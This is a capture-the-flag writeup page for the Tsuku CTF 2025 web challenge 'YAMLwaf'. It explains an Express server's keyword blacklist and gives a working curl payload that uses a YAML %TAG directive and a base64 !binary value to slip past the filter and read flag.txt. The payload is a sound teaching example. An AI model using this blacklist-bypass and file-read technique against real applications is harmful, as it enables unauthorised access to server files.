CTF Writeups
WebsiteDiscordSocials..
  • CryptoCat's CTF writeups
  • 2025
    • Tsuku
      • Web
        • len_len
        • Flash
        • YAMLwaf
    • CTF@CIT
      • Web
        • Breaking Authentication
        • Commit & Order: Version Control Unit
        • How I Parsed your JSON
        • Mr. Chatbot
        • Keeping Up with the Credentials
  • 2024
    • CryptoCat
      • Summar-AI-ze
    • Intigriti
      • Warmup
        • BabyFlow
        • In Plain Sight
        • IrrORversible
        • Layers
        • Rigged Slot Machine 1
      • Game
        • Bug Squash 1
        • Bug Squash 2
      • Rev
        • Secure Bank
      • Web
        • Biocorp
        • Cat Club
        • Pizza Paradise
        • SafeNotes 2.0
      • Misc
        • Quick Recovery
        • Triage Bot 2
      • Pwn
        • Floormat Sale
        • Retro2Win
        • Rigged Slot Machine 2
        • UAP
      • Crypto
        • Schrodinger's Pad
      • Mobile
        • Cold Storage
      • OSINT
        • No Comment
        • Trackdown
        • Trackdown 2
      • Forensics
        • CTF Mind Tricks
        • Hoarded Flag
        • Password Management
    • CSAW
      • Web
        • Playing on the Backcourts
        • Log Me In
        • Lost Pyramid
        • BucketWars
    • CyberSpace
      • Web
        • Feature Unlocked
    • UIU
      • Web
        • Fare Evasion
        • Log Action
    • Wani
      • Web
        • Bad Worker
        • PoW
        • One Day One Letter
    • Akasec
      • Web
    • HTB Cyber Apocalypse
      • Web
        • Flag Command
        • TimeKORP
        • KORP Terminal
        • Labyrinth Linguist
        • Locktalk
        • SerialFlow
        • Testimonial
  • 2023
    • Intigriti
      • Gamepwn
        • Dark Secrets
      • Misc
        • Triage Bot
      • OSINT
        • Photographs
      • Pwn
        • Floormat Store
      • Web
        • Bug Report Repo
        • My Music
    • Imaginary
      • Web
        • Blank
        • IDORiot
        • Inspection
        • Login
        • Perfect Picture
        • Roks
    • Google
      • Pwn
        • Write-Flag-Where
    • Cyber Apocalypse
      • AI
        • Last Hope
        • Mysterious Learning
      • Crypto
        • Perfect Synchronization
      • Pwn
        • Getting Started
        • Labyrinth
        • Pandora's Box
        • Void
      • Rev
        • Cave System
        • Hunting License
        • Needle in a Haystack
        • Shattered Tablet
        • She Sells Sea Shells
    • Sekai
      • Rev
        • Azusawa's Gacha World
    • Amateurs
      • Web
        • Sanity
        • Waiting an Eternity
    • NahamCon
      • Web
        • Hidden Figures
        • Marmalade 5
        • Obligatory
        • Star Wars
        • Stickers
    • Angstrom
      • Pwn
        • Leek
  • 2022
    • Imaginary (iCTF)
      • Crypto
        • ASE
      • Pwn
        • Links 1
        • Links 2
        • Links 3
        • Open Doors
    • SEETF
      • Pwn
        • 4mats
        • Easy Overflow
      • Rev
        • BabyReeee
      • Web
        • Super-Secure-Requests-Forwarder
    • HTB Cyber Apocalypse
      • Pwn
        • Hellbound
    • Angstrom
      • Pwn
        • Really Obnoxious Problem
        • Wah
        • Whats My Name
        • Where Am I
      • Web
        • Crumbs
        • Xtra Salty Sardines
    • NahamCon
      • Pwn
        • Baby Steps
      • Web
        • Flaskmetal Alchemist
        • Hacker Ts
        • Two for One
    • Pico
      • Forensics
        • Side Channel
      • Pwn
        • Buffer Overflow 1
        • Buffer Overflow 2
        • Buffer Overflow 3
        • Flag Leak
        • Function Overwrite
        • ROPfu
        • RPS
        • Stack Cache
        • Wine
        • X-Sixty-What
      • Rev
        • Wizardlike
      • Web
        • Noted
    • Space Heroes
      • Pwn
        • Vader
      • Web
        • Flag in Space
    • Intigriti
      • Pwn
        • Bird
        • Cake
        • Easy Register
        • Search Engine
    • Dice
      • Pwn
        • Interview Opportunity
  • 2021
    • Pico
      • Pwn
        • Unsubscriptions Are Free
    • Crusaders of Rust (COR)
      • Crypto
        • Fibinary
      • Pwn
        • Chainblock
    • HTB Cyber Santa
      • Crypto
        • Meet Me Halfway
        • Xmas Spirit
      • Pwn
        • Minimelfistic
        • Mr. Snowy
        • Naughty List
        • Sleigh
      • Rev
        • Infiltration
        • Intercept
    • K3rn3l
      • Crypto
        • Badseed
        • Twizzty Buzzinezz
    • HTB x Synack RedTeamFive
      • Misc
        • Context
        • Hotel
      • Pwn
        • Air Supplies
        • Injection Shot
        • Library
        • Recruitment
      • Rev
        • Knock Knock
        • Split
    • KillerQueen
      • Pwn
        • A Kind of Magic
        • Tweety Birb
        • Zoom2Win
    • HacktivityCon
      • Pwn
        • Retcheck
        • The Library
        • Yabo
      • Web
        • Availability
    • CSAW
      • Pwn
        • Alien Math
        • Password Checker
      • Rev
        • Checker
    • HackyHolidays
      • Crypto
        • Cute Invoice
        • Mineslazer
      • Forensics
        • Injection Traffic
        • Power Snacks
      • Pwn
        • Deleted Flag
        • Engine Control
      • Web
        • Skylark
    • HTB Cyber Apocalypse
      • Crypto
        • Phasestream
      • Misc
        • Alien Camp
        • Build Yourself In
      • Pwn
        • Controller
        • System Drop
      • Web
        • Blitzprop
        • E-Tree
        • Wild Goose Hunt
    • Angstrom
      • Pwn
        • Sanity Checks
        • Secure Login
        • Sticky Stacks
        • Tranquil
      • Rev
        • Free Flags
        • Jailbreak
      • Web
        • Jar
Powered by GitBook
On this page
  • Description
  • Solution
  • Source code
  • Breaking it down
  • YAML Injection
  1. 2025
  2. Tsuku
  3. Web

YAMLwaf

Writeup for YAMLwaf (Web) - Tsuku CTF (2025) 💜

PreviousFlashNextCTF@CIT

Last updated 4 days ago

Description

YAML is awesome!!

Solution

Source code

The challenge comes with source code, server.js is most relevant.

const express = require("express");
const bodyParser = require("body-parser");
const fs = require("fs");
const path = require("path");
const yaml = require("js-yaml");
const app = express();
app.use(bodyParser.text());

app.post("/", (req, res) => {
    try {
        if (req.body.includes("flag")) {
            return res.status(403).send("Not allowed!");
        }
        if (req.body.includes("\\") || req.body.includes("/") || req.body.includes("!!") || req.body.includes("<")) {
            return res.status(403).send("Hello, Hacker :)");
        }
        const data = yaml.load(req.body);
        const filePath = data.file;

        if (filePath && fs.existsSync(filePath)) {
            const content = fs.readFileSync(filePath, "utf8");
            return res.send(content);
        } else {
            return res.status(404).send("File not found");
        }
    } catch (err) {
        return res.status(400).send("Invalid request");
    }
});

app.listen(3000, () => {
    console.log("Server listening on port 3000");
});

Breaking it down

The app processes POST requests, parses YAML from the request body, and attempts to read a file specified in the YAML content.

WAF checks if:

  • 'flag' is in the raw request body → 403.

  • '/', '\\', '!!', or '<' are present → 403. If checks pass, it tries to access data.file.

Filter
Purpose
Bypass Possibility

'flag'

Blocks direct keyword usage

Use Unicode, split string, etc.

'/', '\\'

Blocks path traversal

Use symlinks or local files

'!!', '<'

Blocks YAML tag injection

No known bypass with these blocked

YAML Injection

The challenge description already gave a sample curl command.

curl -X POST "http://challs.tsukuctf.org:50001" -H "Content-Type: text/plain" -d "file: flag.txt"

Not allowed!

Imagine if it gave the flag 😆 It doesn't since "flag" is a blocked keyword.

I tried a lot of suggestions from ChatGPT; unicode chars, splitting the flag into variables, adding newlines etc. Nothing worked and it kept going in circles.

I searched through previous CTF writeups but wasn't getting anywhere. Eventually, I swapped the ChatGPT model from o4 to o3 and found a working solution.

curl -X POST "http://challs.tsukuctf.org:50001" -H "Content-Type: text/plain" --data-binary $'%TAG !b! tag:yaml.org,2002:\n---\nfile: !b!binary "ZmxhZy50eHQ="'

TsukuCTF25{YAML_1s_d33p!}

Here's the logic behind the payload:

Stage
What happens
Why the blacklist is bypassed

1. YAML directive

%TAG !b! tag:yaml.org,2002: declares a handle !b!. Any tag that starts with !b! is expanded to tag:yaml.org,2002:.

Directive text contains none of the blocked substrings.

2. Binary tag

!b!binary therefore becomes the official core tag tag:yaml.org,2002:binary (!binary).

Only a single ! is used → no !!. No < or /.

3. Base‑64 value

"ZmxhZy50eHQ=" is base‑64 for the ASCII bytes flag.txt.

The four ASCII letters f l a g never appear in the raw request, so req.body.includes("flag") is false.

4. js‑yaml decoding

With the default (safe) schema, !binary is still recognised. js‑yaml converts it to a Node Buffer containing the bytes flag.txt.

No dangerous function tags are involved, so the payload is accepted.

5. File read

The application later executes fs.existsSync(filePath) and fs.readFileSync(filePath,'utf8'). Both fs calls accept either a string or a Buffer as the path, so the Buffer works.

From this point onward the blacklist is already satisfied and no further checks occur.

6. Response

The server reads the real flag.txt from disk and returns its contents in the HTTP response.

Mission accomplished.

Flag: TsukuCTF25{YAML_1s_d33p!}

I checked this from J0r1an but we can't use the < character, and it specifies versions < 4.0, while this challenge uses the latest version of js-yaml (^4.1.0).

guide